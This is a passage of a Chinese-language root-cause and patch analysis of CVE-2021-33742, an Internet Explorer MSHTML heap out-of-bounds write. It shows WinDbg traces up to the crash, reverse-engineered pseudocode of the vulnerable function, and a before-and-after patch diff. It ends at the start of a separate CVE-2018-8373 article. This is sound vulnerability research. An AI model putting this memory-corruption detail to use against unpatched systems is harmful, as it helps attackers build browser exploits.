04aae5b0 00000000 00000000 04aae564 04aae564
04aae5c0 04a849f0 00000062 00000000 00000000
04aae5d0 04a849f0 04a849f0 04a84ae0 ffffffff
0:008:x86> p
eax=00000002 ebx=0508cb38 ecx=04aae5c4 edx=04a3d534 esi=0508ca08 edi=00000001
eip=63a46793 esp=0508c7a8 ebp=0508c9f0 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
MSHTML!CSpliceTreeEngine::RemoveSplice+0x473:
63a46793 2bf8 sub edi,eax ; 1-2=-1
0:008:x86> p
eax=00000002 ebx=0508cb38 ecx=04aae5c4 edx=04a3d534 esi=0508ca08 edi=ffffffff
eip=63a46795 esp=0508c7a8 ebp=0508c9f0 iopl=0 nv up ei ng nz ac pe cy
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000297
MSHTML!CSpliceTreeEngine::RemoveSplice+0x475:
63a46795 e8cd118900 call MSHTML!CTreePos::GetCp (642d7967) ; 返回值为0x00680004
; Array(40370176),40370176-1 = 0x267ffff
; CTreeDataPos->DATAPOSTEXT->_cch(25bit),0x67ffff
; 0x00680004 = 0x67ffff + 0x5
; <ROOT>,<html>,<head>,</head>,<body>标签的字符数每个为1
0:008:x86> p
eax=00680004 ebx=0508cb38 ecx=00000000 edx=04aae5c4 esi=0508ca08 edi=ffffffff
eip=63a4679a esp=0508c7a8 ebp=0508c9f0 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
MSHTML!CSpliceTreeEngine::RemoveSplice+0x47a:
63a4679a 8b4e18 mov ecx,dword ptr [esi+18h] ds:002b:0508ca20=04aae5c4
0:008:x86> p
eax=00680004 ebx=0508cb38 ecx=04aae5c4 edx=04aae5c4 esi=0508ca08 edi=ffffffff
eip=63a4679d esp=0508c7a8 ebp=0508c9f0 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
MSHTML!CSpliceTreeEngine::RemoveSplice+0x47d:
63a4679d 8d1407 lea edx,[edi+eax] ; edx = 0x00680003
; _ptpSourceL(<head>),_ptpSourceL(</body>)
; CTreeDataPos->DATAPOSTEXT->_cch(25bit),0x67ffff
; 0x00680003 = 0x67ffff + 0x4
; <head>,</head>,<body>,</body>标签的字符数每个为1
......
0:008:x86> g
Breakpoint 2 hit
MSHTML!CSpliceTreeEngine::RemoveSplice+0x495:
63a467b5 8b442458 mov eax,dword ptr [esp+58h] ss:002b:0508c800=00680004
0:008:x86> p
MSHTML!CSpliceTreeEngine::RemoveSplice+0x499:
63a467b9 3b442460 cmp eax,dword ptr [esp+60h] ss:002b:0508c808=00680004
0:008:x86> p
MSHTML!CSpliceTreeEngine::RemoveSplice+0x49d:
63a467bd 0f8f36ac1400 jg MSHTML!CSpliceTreeEngine::RemoveSplice+0x14b0d9 (63b913f9) [br=0]
0:008:x86> p
eax=00680004 ebx=0508cb38 ecx=04aae5c4 edx=00680003 esi=0508ca08 edi=ffffffff
eip=63a467c3 esp=0508c7a8 ebp=0508c9f0 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
MSHTML!CSpliceTreeEngine::RemoveSplice+0x4a3:
63a467c3 8d0c12 lea ecx,[edx+edx]
0:008:x86> p
eax=00680004 ebx=0508cb38 ecx=00d00006 edx=00680003 esi=0508ca08 edi=ffffffff
eip=63a467c6 esp=0508c7a8 ebp=0508c9f0 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
MSHTML!CSpliceTreeEngine::RemoveSplice+0x4a6:
63a467c6 e8c3fa1e00 call MSHTML!ProcessHeapAlloc<0> (63c3628e) ; 分配的堆块是以文本截断长度进行分配的
0:008:x86> p
eax=21d4e020 ebx=0508cb38 ecx=00d00006 edx=00000000 esi=0508ca08 edi=ffffffff
eip=63a467cb esp=0508c7a8 ebp=0508c9f0 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
MSHTML!CSpliceTreeEngine::RemoveSplice+0x4ab:
63a467cb 89465c mov dword ptr [esi+5Ch],eax ds:002b:0508ca64=00000000
0:008:x86> !heap -x eax
Entry User Heap Segment Size PrevSize Unused Flags
----------------------------------------------------------------------------- 0000000021d4e018 0000000021d4e020 0000000000670000 0000000000670000 d01000 0 ffa busy extra virtual
0:008:x86> g
Breakpoint 3 hit
eax=000002e4 ebx=0508cb38 ecx=04a849f0 edx=00000003 esi=0508ca08 edi=0000fdef
eip=63a468cf esp=0508c7a8 ebp=0508c9f0 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
MSHTML!CSpliceTreeEngine::RemoveSplice+0x5af:
63a468cf 8b4920 mov ecx,dword ptr [ecx+20h] ds:002b:04a84a10=1d02f020
0:008:x86> dd ecx lc ; CTreeDataPos(Text)
04a849f0 000002e4 00000002 04aae564 04aae54c
04a84a00 04aae5ac 04aae5c4 00000041 00000000
04a84a10 1d02f020 8267ffff 00000000 00000000
0:008:x86> !heap -x 1d02f020
Entry User Heap Segment Size PrevSize Unused Flags
----------------------------------------------------------------------------- 000000001d02f018 000000001d02f020 0000000000670000 0000000000670000 4d01000 0 ffa busy extra virtual
0:008:x86> dd 1d02f020 l10 ; Tree::TextData对象
1d02f020 00000002 0267ffff 002c002c 002c002c
1d02f030 002c002c 002c002c 002c002c 002c002c
1d02f040 002c002c 002c002c 002c002c 002c002c
1d02f050 002c002c 002c002c 002c002c 002c002c
0:008:x86> dd 1d02f020+0x2680000*2-0x10 l10
21d2f010 002c002c 002c002c 002c002c 002c002c
21d2f020 002c002c 0000002c 00000000 00000000
21d2f030 00000000 00000000 00000000 00000000
21d2f040 00000000 00000000 00000000 00000000
0:008:x86> p
eax=000002e4 ebx=0508cb38 ecx=1d02f020 edx=00000003 esi=0508ca08 edi=0000fdef
eip=63a468d2 esp=0508c7a8 ebp=0508c9f0 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
MSHTML!CSpliceTreeEngine::RemoveSplice+0x5b2:
63a468d2 8d442414 lea eax,[esp+14h]
0:008:x86> p
eax=0508c7bc ebx=0508cb38 ecx=1d02f020 edx=00000003 esi=0508ca08 edi=0000fdef
eip=63a468d6 esp=0508c7a8 ebp=0508c9f0 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
MSHTML!CSpliceTreeEngine::RemoveSplice+0x5b6:
63a468d6 50 push eax ; 存储实际获得的文本长度的局部变量
0:008:x86> p
eax=0508c7bc ebx=0508cb38 ecx=1d02f020 edx=00000003 esi=0508ca08 edi=0000fdef
eip=63a468d7 esp=0508c7a4 ebp=0508c9f0 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
MSHTML!CSpliceTreeEngine::RemoveSplice+0x5b7:
63a468d7 6a00 push 0 ; skip_cch,需要跳过的字符数
0:008:x86> p
eax=0508c7bc ebx=0508cb38 ecx=1d02f020 edx=00000003 esi=0508ca08 edi=0000fdef
eip=63a468d9 esp=0508c7a0 ebp=0508c9f0 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
MSHTML!CSpliceTreeEngine::RemoveSplice+0x5b9:
63a468d9 e890b1fbff call MSHTML!Tree::TextData::GetText (63a01a6e)
0:008:x86> p
eax=1d02f028 ebx=0508cb38 ecx=1d02f020 edx=0508c7bc esi=0508ca08 edi=0000fdef
eip=63a468de esp=0508c7a8 ebp=0508c9f0 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
MSHTML!CSpliceTreeEngine::RemoveSplice+0x5be:
63a468de 8b7c2414 mov edi,dword ptr [esp+14h] ss:002b:0508c7bc=0267ffff
0:008:x86> dd eax-0x8 l10 ; 返回值为文本字符串的指针,Tree::TextData对象偏移8字节处
1d02f020 00000002 0267ffff 002c002c 002c002c
1d02f030 002c002c 002c002c 002c002c 002c002c
1d02f040 002c002c 002c002c 002c002c 002c002c
1d02f050 002c002c 002c002c 002c002c 002c002c
0:008:x86> dd 0508c7bc l1
0508c7bc 0267ffff ; 实际获得的文本长度,未截断文本长度,0x0267ffff = 40370176 - 1
0:008:x86> p
eax=1d02f028 ebx=0508cb38 ecx=1d02f020 edx=0508c7bc esi=0508ca08 edi=0267ffff
eip=63a468e2 esp=0508c7a8 ebp=0508c9f0 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
MSHTML!CSpliceTreeEngine::RemoveSplice+0x5c2:
63a468e2 8b4c2424 mov ecx,dword ptr [esp+24h] ss:002b:0508c7cc=00000003
0:008:x86> p
eax=1d02f028 ebx=0508cb38 ecx=00000003 edx=0508c7bc esi=0508ca08 edi=0267ffff
eip=63a468e6 esp=0508c7a8 ebp=0508c9f0 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
MSHTML!CSpliceTreeEngine::RemoveSplice+0x5c6:
63a468e6 8b54241c mov edx,dword ptr [esp+1Ch] ss:002b:0508c7c4=00680003
0:008:x86> p
eax=1d02f028 ebx=0508cb38 ecx=00000003 edx=00680003 esi=0508ca08 edi=0267ffff
eip=63a468ea esp=0508c7a8 ebp=0508c9f0 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
MSHTML!CSpliceTreeEngine::RemoveSplice+0x5ca:
63a468ea 57 push edi ; edi,源文本字符串长度,未截断文本长度
0:008:x86> p
eax=1d02f028 ebx=0508cb38 ecx=00000003 edx=00680003 esi=0508ca08 edi=0267ffff
eip=63a468eb esp=0508c7a4 ebp=0508c9f0 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
MSHTML!CSpliceTreeEngine::RemoveSplice+0x5cb:
63a468eb 50 push eax ; eax,源文本字符串内存地址
0:008:x86> p
eax=1d02f028 ebx=0508cb38 ecx=00000003 edx=00680003 esi=0508ca08 edi=0267ffff
eip=63a468ec esp=0508c7a0 ebp=0508c9f0 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
MSHTML!CSpliceTreeEngine::RemoveSplice+0x5cc:
63a468ec 8b465c mov eax,dword ptr [esi+5Ch] ds:002b:0508ca64=21d4e020
0:008:x86> p
eax=21d4e020 ebx=0508cb38 ecx=00000003 edx=00680003 esi=0508ca08 edi=0267ffff
eip=63a468ef esp=0508c7a0 ebp=0508c9f0 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
MSHTML!CSpliceTreeEngine::RemoveSplice+0x5cf:
63a468ef 2bd1 sub edx,ecx ; edx,目的内存大小,截断文本长度
0:008:x86> p
eax=21d4e020 ebx=0508cb38 ecx=00000003 edx=00680000 esi=0508ca08 edi=0267ffff
eip=63a468f1 esp=0508c7a0 ebp=0508c9f0 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206
MSHTML!CSpliceTreeEngine::RemoveSplice+0x5d1:
63a468f1 8d0c48 lea ecx,[eax+ecx*2] ; ecx,目的内存地址
0:008:x86> p
eax=21d4e020 ebx=0508cb38 ecx=21d4e026 edx=00680000 esi=0508ca08 edi=0267ffff
eip=63a468f4 esp=0508c7a0 ebp=0508c9f0 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206
MSHTML!CSpliceTreeEngine::RemoveSplice+0x5d4:
63a468f4 e8b8852500 call MSHTML!wmemcpy_s (63c9eeb1)
0:008:x86> dd esp l2
0508c7a0 1d02f028 0267ffff
0:008:x86> p
Invalid parameter passed to C runtime function.
eax=00000022 ebx=0508cb38 ecx=8cccdfa3 edx=00000000 esi=0508ca08 edi=0267ffff
eip=63a468f9 esp=0508c7a0 ebp=0508c9f0 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
MSHTML!CSpliceTreeEngine::RemoveSplice+0x5d9:
63a468f9 8b4c2418 mov ecx,dword ptr [esp+18h] ss:002b:0508c7b8=04a849f0
0:008:x86> g
(638.ad8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=21d4e020 ebx=0508cb38 ecx=04aae5c4 edx=02680002 esi=0508ca08 edi=0000fdef
eip=63a46809 esp=0508c7a8 ebp=0508c9f0 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202
MSHTML!CSpliceTreeEngine::RemoveSplice+0x4e9:
63a46809 66893c50 mov word ptr [eax+edx*2],di ds:002b:26a4e024=???? ; Crash
下面是存在漏洞的函数CSpliceTreeEngine::RemoveSplice()的关键部分代码(逆向所得)：
HRESULT __thiscall CSpliceTreeEngine::RemoveSplice(CSpliceTreeEngine *this)
{
// 初始DOM流,_ptpSourceL(<head>),_ptpSourceR(CTreeDataPos(Pointer,04b152f0))
// <ROOT> -> <html> -> CTreeDataPos(Pointer,04b15320) -> <head> -> </head> -> <body> -> CTreeDataPos(Text,04b151a0)
// -> </body> -> CTreeDataPos(Pointer,04b152f0) -> </html> -> </ROOT>
...
// pSpliceAnchor._pTreePos = _ptpSourceL->_pLeft
// 执行完第一个CSpliceTreeEngine::CSpliceAnchor::AnchorAt()后的DOM流
// <ROOT> -> <html> -> CTreeDataPos(Pointer,04b15320) ->CTreeDataPos(Pointer,04b15350) -> <head> -> </head> -> <body>
// -> CTreeDataPos(Text,04b151a0) -> </body> -> CTreeDataPos(Pointer,04b152f0) -> </html> -> </ROOT>
hr1 = CSpliceTreeEngine::CSpliceAnchor::AnchorAt(&pSpliceAnchorL, ptpSourceL, 1, 0);
// pSpliceAnchor1._pTreePos = _ptpSourceR->_pRight
// 执行完第二个CSpliceTreeEngine::CSpliceAnchor::AnchorAt()后的DOM流
// <ROOT> -> <html> -> CTreeDataPos(Pointer,04b15320) ->CTreeDataPos(Pointer,04b15350) -> <head> -> </head> -> <body>
// -> CTreeDataPos(Text,04b151a0) -> </body> -> CTreeDataPos(Pointer,04b152f0) -> CTreeDataPos(Pointer,04b15380) -> </html> -> </ROOT>
if ( hr1 || (hr1 = CSpliceTreeEngine::CSpliceAnchor::AnchorAt(&pSpliceAnchorR, this->_ptpSourceR, 0, 1)) != 0 )// ？不满足
{
LABEL_156:
hr = hr1;
goto LABEL_157;
}
// _ptpSourceL != _ptpSourceR->NextTreePos()
if ( this->_ptpSourceR->_pRight != this->_ptpSourceL )// ？必须满足,CSpliceTreeEngine,CTreePos
{
...
if ( HIBYTE(v179) && (this->field_54 & 4) != 0 )// CSpliceTreeEngine,CMarkUp,this->field_54=0x4
{
ptpSourceL_cchLeft = 1 - CTreePos::GetCp(this->_ptpSourceL);// 1-2=-1,_ptpSourceL(<head>)
ptpSourceR_cchLeft = CTreePos::GetCp(this->_ptpSourceR);// 0x00680005,_ptpSourceR(CTreeDataPos(Pointer,04b152f0))
ptpSourceR = this->_ptpSourceR;
fNotText = (ptpSourceR->_cElemLeftAndFlags & 4) == 0;
ptpSourceR_to_ptpSourceL_cch = ptpSourceL_cchLeft + ptpSourceR_cchLeft;
if ( !fNotText ) // fNotText = True
{
TextLength = CTreeDataPos::GetTextLength(ptpSourceR);
ptpSourceR_to_ptpSourceL_cch = TextLength + ptpSourceR_to_ptpSourceL_cch - 1;
}
LOBYTE(ptpSourceR) = HIBYTE(v179); // ptpSourceR = v179 = 1
v11 = cch; // v173 = 0
}
...
if ( ptpSourceR ) // ？必须满足
{
if ( (this->field_54 & 4) != 0 )
{
ptpSourceL_cchLeft = 1 - CTreePos::GetCp(this->_ptpSourceL);// 1-2=-1,_ptpSourceL(<head>)
ptpSourceR_cchLeft = CTreePos::GetCp(this->_ptpSourceR);// 0x00680005,_ptpSourceR(CTreeDataPos(Pointer,04b152f0))
ptpSourceR = this->_ptpSourceR;
fNotText = (ptpSourceR->_cElemLeftAndFlags & 4) == 0;
ptpSourceR_to_ptpSourceL_cch1 = ptpSourceL_cchLeft + ptpSourceR_cchLeft;//CTreePos,Cp
if ( !fNotText )
{
TextLength = CTreeDataPos::GetTextLength(ptpSourceR);
ptpSourceR_to_ptpSourceL_cch1 = TextLength + ptpSourceR_to_ptpSourceL_cch1 - 1;
}
}
}
...
}
...
// 去除边界上带有cling的指针。这样做是为了让_ptpSourceL/R可以在非指针位置上重新定位。我们这样做是为了让元素能够在退出树通知中进行选择。
while ( 1 )
{
ptpSourceL = this->_ptpSourceL; // _ptpSourceL(<head>)
// Pointer=0x8,_ptpSourceL->IsPointer()
if ( (ptpSourceL->_cElemLeftAndFlags & 8) == 0 || ptpSourceL == this->_ptpSourceR )// ？必须满足,CTreePos
break; // _ptpSourceL(<head>),退出循环
// _ptpSourceL->NextTreePos()
ptpSourceL_Right = ptpSourceL->_pRight;
if ( (ptpSourceL->dptp.p._dwPointerAndGravityAndCling & 2) != 0 )// Cling = 0x2
Tree::TreeWriter::Remove(ptpSourceL, &this->_pMarkupSource->_tpRoot, &this->_pMarkupSource->_ptpFirst);
this->_ptpSourceL = ptpSourceL_Right;
}
while ( 1 )
{
ptpSourceR = this->_ptpSourceR; // _ptpSourceR(CTreeDataPos(Pointer,04b152f0))
if ( (ptpSourceR->_cElemLeftAndFlags & 8) == 0 || this->_ptpSourceL == ptpSourceR )// ？必须满足,CTreePos
break;
// _ptpSourceR->PreviousTreePos()
ptpSourceR_Left = ptpSourceR->_pLeft;
if ( (ptpSourceR->dptp.p._dwPointerAndGravityAndCling & 2) != 0 )// Cling = 0x2
Tree::TreeWriter::Remove(ptpSourceR, &this->_pMarkupSource->_tpRoot, &this->_pMarkupSource->_ptpFirst);
this->_ptpSourceR = ptpSourceR_Left; // 这里对_ptpSourceR进行了修改，最终_ptpSourceR(</body>)
}
...
if ( (ptpSourceR->_cElemLeftAndFlags & 4) == 0// ptpSourceR(</body>)
|| ptpSourceR == this->_ptpSourceL
|| (hr = CSpliceTreeEngine::CSpliceAnchor::AnchorAt(&pSpliceAnchor, ptpSourceR, 1, 1), (hr1 = hr) == 0) )// ？必须满足,CTreePos
{
...
while ( 1 )
{
Cch = 0;
if ( HIBYTE(v179) && (this->field_54 & 4) != 0 )// ？必须满足
{
ptpSourceL_cchLeft = 1 - CTreePos::GetCp(this->_ptpSourceL);// 1-2=-1,_ptpSourceL(<head>)
// ptpSourceR,截断文本长度,orig_sz&0x1ffffff,CTreeDataPos中DATAPOSTEXT结构体存储文本长度的_cch成员只有25bit
ptpSourceR_cchLeft = CTreePos::GetCp(this->_ptpSourceR);// 0x00680004,_ptpSourceR(</body>)
ptpSourceR = this->_ptpSourceR;
ptpSourceR_to_ptpSourceL_cch2 = ptpSourceL_cchLeft + ptpSourceR_cchLeft;
fNotText = (ptpSourceR->_cElemLeftAndFlags & 4) == 0;// Text=0x4
ptpSourceR_to_ptpSourceL_cch2 = ptpSourceL_cchLeft + ptpSourceR_cchLeft;
if ( !fNotText ) // 是文本数据则执行,不必须满足,CTreePos
{
TextLength = CTreeDataPos::GetTextLength(ptpSourceR);
ptpSourceR_to_ptpSourceL_cch2 = TextLength + ptpSourceR_to_ptpSourceL_cch2 - 1;
}
// ptpSourceR_to_ptpSourceL_cch = 0x00680004 = 1-2+0x00680005
// ptpSourceR_to_ptpSourceL_cch1 = 0x00680004 = 1-2+0x00680005
if ( ptpSourceR_to_ptpSourceL_cch > ptpSourceR_to_ptpSourceL_cch1 )// ？不满足,v192(CTreePos),v194(CTreePos)
{
...
}
else
{
pUndoChRecord = operator new[](2 * ptpSourceR_to_ptpSourceL_cch2);// g_hProcessHeap
this->_pUndoChRecord = pUndoChRecord;
if ( pUndoChRecord ) // ？必须满足,CSpliceTreeEngine
{
ptpSourceR = this->_ptpSourceR; // _ptpSourceR(</body>)
ptpSourceL = this->_ptpSourceL; // _ptpSourceL(<head>)
for ( ptp = ptpSourceL; ptp != ptpSourceR->_pRight; ptp = ptp->_pRight )// ？必须满足,CTreePos
{
// <head> -> </head> -> <body> -> CTreeDataPos(Text,04b151a0) -> </body>
ptp_cElemLeftAndFlags = ptp->_cElemLeftAndFlags;
if ( (ptp_cElemLeftAndFlags & 4) != 0 )// ？必须满足,CTreePos,Text=0x4
{
// 未截断文本长度,CTreeDataPos中_pTextData成员指向的Tree::TextData类对象的_cch,使用32bit存储文本长度
pText = Tree::TextData::GetText(ptp->_pTextData, 0, &TextLen);
// 这里只是向堆块复制了ptpSourceR_to_ptpSourceL_cch2多个字符(宽字符)
wmemcpy_s(&this->_pUndoChRecord[Cch], ptpSourceR_to_ptpSourceL_cch2 - Cch, pText, TextLen);
Cch += TextLen; //下面会使用未截断的文本长度进行索引
}
// BOOL IsNode() const { return TestFlag(NodeBeg|NodeEnd); },NodeBeg=0x1,NodeEnd=0x2
// BOOL IsEdgeScope() const { return TestFlag(TPF_EDGE); },TPF_EDGE=0x40
// BOOL IsData2Pos() const { return TestFlag(TPF_DATA2_POS); },TPF_DATA2_POS=0x40
else if ( (ptp_cElemLeftAndFlags & 3) != 0 && (ptp_cElemLeftAndFlags & 0x40) != 0 )// ？必须满足,CTreePos
{
this->_pUndoChRecord[Cch++] = 0xFDEF; // Crash,写入内容无法控制,写入位置可以控制
}
}
}
else
{
...
}
}
}
...
}
...
}
...
}
造成堆越界写的根本原因是，用于标识文本字符串在DOM树/DOM流中的位置的CTreeDataPos类对象中有两个结构用于记录文本字符串的长度，一个是结构体DATAPOSTEXT的_cch成员(25bit)，一个是Tree::TextData对象中的_cch成员(32bit)。由于它们的大小不同，当文本字符串的长度超过25bit能够表示的长度后，在向结构体DATAPOSTEXT的_cch成员赋值时，会造成其存储的是截断后的长度。之后调用CSpliceTreeEngine::RemoveSplice()函数删除文本字符串在DOM树/DOM流的结构时，会使用CTreePos::GetCp()函数获得要删除的DOM树/DOM流结构所占用的字符数(包含截断的文本字符串长度)，并用其申请一段内存。然后，调用Tree::TextData::GetText()函数获得Tree::TextData对象中的_cch成员中存储的未截断文本字符串长度，并用其作为索引，对前面申请的内存进行赋值操作，从而造成了堆越界写漏洞。
## 7 漏洞修复
分析此漏洞时，使用的环境是Windows 10 1809 Pro
x64。在此漏洞的MSRC公告页面，可以找到当前环境该漏洞的补丁号为KB5003646。在补丁详情页面，我们可以知道此补丁只适用于LTSC版本。当前环境，此补丁无法安装成功。所以我使用Windows
10 Enterprise LTSC 2019环境来进行补丁安装并进行补丁分析。我用的是2019年03月发布的Windows 10 Enterprise
LTSC
2019，成功安装此漏洞补丁需要先安装2021年5月11日之后发布的服务堆栈更新(SSU)，这里安装的是KB5003711，安装完之后再安装此漏洞的补丁KB5003646，就可以成功安装。
由于KB5003646补丁是2021年6月8日发布的一个累计更新，如果补丁分析时所用的两个漏洞模块文件是两个更新时间相差较大的环境提取出来的，会造成不好定位补丁位置。所以我们需要知道2021年5月发布的累计更新补丁编号。这可以通过KB5003646在Microsoft更新目录详情页面的信息得到。
以下是KB5003171和KB5003646补丁对应的mshtml.dll的版本号：
补丁编号 | mshtml.dll版本号
---|---
KB5003171 | 11.0.17763.1911
KB5003646 | 11.0.17763.1999
接下来我们将这两个补丁环境的mshtml.dll提取出来，使用IDA打开并生成IDB文件，再使用BinDiff进行补丁比较。不同的IDA版本和不同的BinDiff版本可能会出现不兼容的情况，我这里使用的是IDA
Pro7.5+BinDiff6。分析完成后，得到如下结果：
根据前面的根本原因分析，我们可以知道此漏洞是和文本字符串相关的。再来看BinDiff分析出来的结果，存在差异的函数中只有Tree::TreeWriter::NewTextPosInternal()和CTreeDataPos::GetPlainTextLength()是与文本字符串有关的。通过IDA静态分析这两个函数后，可以确定补丁位置位于Tree::TreeWriter::NewTextPosInternal()函数中。因为CTreeDataPos::GetPlainTextLength()函数中调用了Tree::TextData::GetText()函数，从之前给出的逆向出的Tree::TextData::GetText()函数代码可知，Tree::TextData::GetText()函数是从Tree::TextData对象获取文本字符串的指针和长度的。Tree::TextData对象中的_cch用于存储文本字符串的长度，它的长度为32bit。而CTreeDataPos对象中结构体DATAPOSTEXT的_cch成员也是用于存储文本字符串的长度，它的长度为25bit。如果字符串长度超过了25bit所能表示的范围，在向结构体DATAPOSTEXT的_cch成员存入字符串长度时，就会造成截断。补丁代码应该是在向结构体DATAPOSTEXT的_cch成员写入文本字符串长度时，对文本字符串的长度进行判断。所以补丁位置并不在CTreeDataPos::GetPlainTextLength()函数中。
下图为Tree::TreeWriter::NewTextPosInternal()函数中添加的补丁代码：
如下是，经过处理的补丁前后Tree::TreeWriter::NewTextPosInternal()函数的IDA反编译代码：
//补丁前：
void __fastcall Tree::TreeWriter::NewTextPosInternal(CTreeDataPos **ppTreeDataPos, const wchar_t *SrcTextPtr, ULONG SrcTextCch, const CTreePos *a4, enum htmlLayoutMode eHLM, BYTE sid, LONG lTextID, int a8, bool a9)
{
CTreeDataPos *pTreeDataPos; // ecx
pTreeDataPos = *ppTreeDataPos;
pTreeDataPos->_cElemLeftAndFlags = pTreeDataPos->_cElemLeftAndFlags & 0xFFFFFFF4 | 4;
if ( a9 )
pTreeDataPos->dptp.t._lTextID |= 0x20000000u;
pTreeDataPos->dptp.t._sid_cch = SrcTextCch & 0x1FFFFFF | (sid << 25);
if ( eHLM < 80000 )
pTreeDataPos->dptp.t._lTextID = lTextID;
else
pTreeDataPos->dptp.t._lTextID = (a9 << 29) | ((a8 << 30) | lTextID & 0x1FFFFFFF) & 0xDFFFFFFF;
pTreeDataPos->_ulRefs_Flags = pTreeDataPos->_ulRefs_Flags & 0xFFFFFFF7 | 3;
CTreeDataPos::UpdateWhiteSpaceTypeConsideringNewText(pTreeDataPos, SrcTextPtr, SrcTextCch);
}
//补丁后：
void __fastcall Tree::TreeWriter::NewTextPosInternal(CTreeDataPos **ppTreeDataPos, const wchar_t *SrcTextPtr, ULONG SrcTextCch, const CTreePos *a4, enum htmlLayoutMode eHLM, BYTE sid, LONG lTextID, int a8, bool a9)
{
CTreeDataPos *pTreeDataPos; // esi
pTreeDataPos = *ppTreeDataPos;
(*ppTreeDataPos)->_cElemLeftAndFlags = (*ppTreeDataPos)->_cElemLeftAndFlags & 0xFFFFFFF4 | 4;
if ( a9 )
pTreeDataPos->dptp.t._lTextID |= 0x20000000u;
if ( (unsigned __int8)wil::Feature<__WilFeatureTraits_Feature_Servicing_2106b_33613045>::__private_IsEnabled() )
Release_Assert((int)SrcTextCch < 0x2000000);
pTreeDataPos->dptp.t._sid_cch = SrcTextCch & 0x1FFFFFF | (sid << 25);
if ( eHLM >= 80000 )
pTreeDataPos->dptp.t._lTextID = (a9 << 29) | ((a8 << 30) | lTextID & 0x1FFFFFFF) & 0xDFFFFFFF;
else
pTreeDataPos->dptp.t._lTextID = lTextID;
pTreeDataPos->_ulRefs_Flags = pTreeDataPos->_ulRefs_Flags & 0xFFFFFFF7 | 3;
CTreeDataPos::UpdateWhiteSpaceTypeConsideringNewText(pTreeDataPos, SrcTextPtr, SrcTextCch);
}
void __fastcall Release_Assert(bool a1)
{
if ( !a1 )
Abandonment::AssertionFailed(); // 断言失败
}
void __stdcall Abandonment::AssertionFailed()
{
void *retaddr; // [esp+4h] [ebp+4h]
Abandonment::InduceAbandonment(10, retaddr, 0, 0);
__debugbreak();
}
void __thiscall Abandonment::InduceAbandonment(void *this, int a2, int a3)
{
Abandonment::hostExceptionFilter = SetUnhandledExceptionFilter(0);
RaiseException(0x80000003, 1u, this, 0);
}
可以看到打了补丁后的Tree::TreeWriter::NewTextPosInternal()函数在向CTreeDataPos对象中结构体DATAPOSTEXT的_cch成员写入文本字符串长度之前，进行了一个判断。如果SrcTextCch
<
0x2000000，就会触发断言失败。普通断言(assert())只有在debug版本的文件中会得到执行，而在release版本的文件中不会得到执行。这里使用的是一种由C++提供的，可以添加到release版本的文件中的断言函数Release_Assert()。断言失败后，通过SetUnhandledExceptionFilter()函数设置异常处理函数，并会抛出一个断点异常。之后会一直在异常处理流程中，并不会造成IE执行堆越界写的代码。
## 8 参考链接
1、Google Project Zero - CVE-2021-33742: Internet Explorer out-of-bounds write
in MSHTML：<https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-33742.html>
2、Google Threat Analysis Group - How we protect users from 0-day
attacks：<https://blog.google/threat-analysis-group/how-we-protect-users-0-day-attacks/>
3、weolar -丢几个好东西，完整可编译的ie2、ie5.5源码，嘿嘿：<https://bbs.pediy.com/thread-137616.htm>
4、o_0xF2B8F2B8 - IE DOM树概览：<https://www.jianshu.com/p/8cd37ffe9a98>
5、Microsoft Edge Team - Modernizing the DOM tree in Microsoft
Edge：<https://blogs.windows.com/msedgedev/2017/04/19/modernizing-dom-tree-microsoft-edge/>
* * * | 社区文章 |
# Windows VBScript引擎远程执行代码漏洞 之CVE-2018-8373分析与复现
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 一、 漏洞简介
VBScript引擎处理内存中对象的方式中存在一个远程执行代码漏洞。该漏洞可能以一种攻击者可以在当前用户的上下文中执行任意代码的方式来破坏内存。成功利用此漏洞的攻击者可以获得与当前用户相同的用户权限。如果当前用户使用管理用户权限登录，则成功利用此漏洞的攻击者可以控制受影响的系统。然后攻击者可以安装程序;
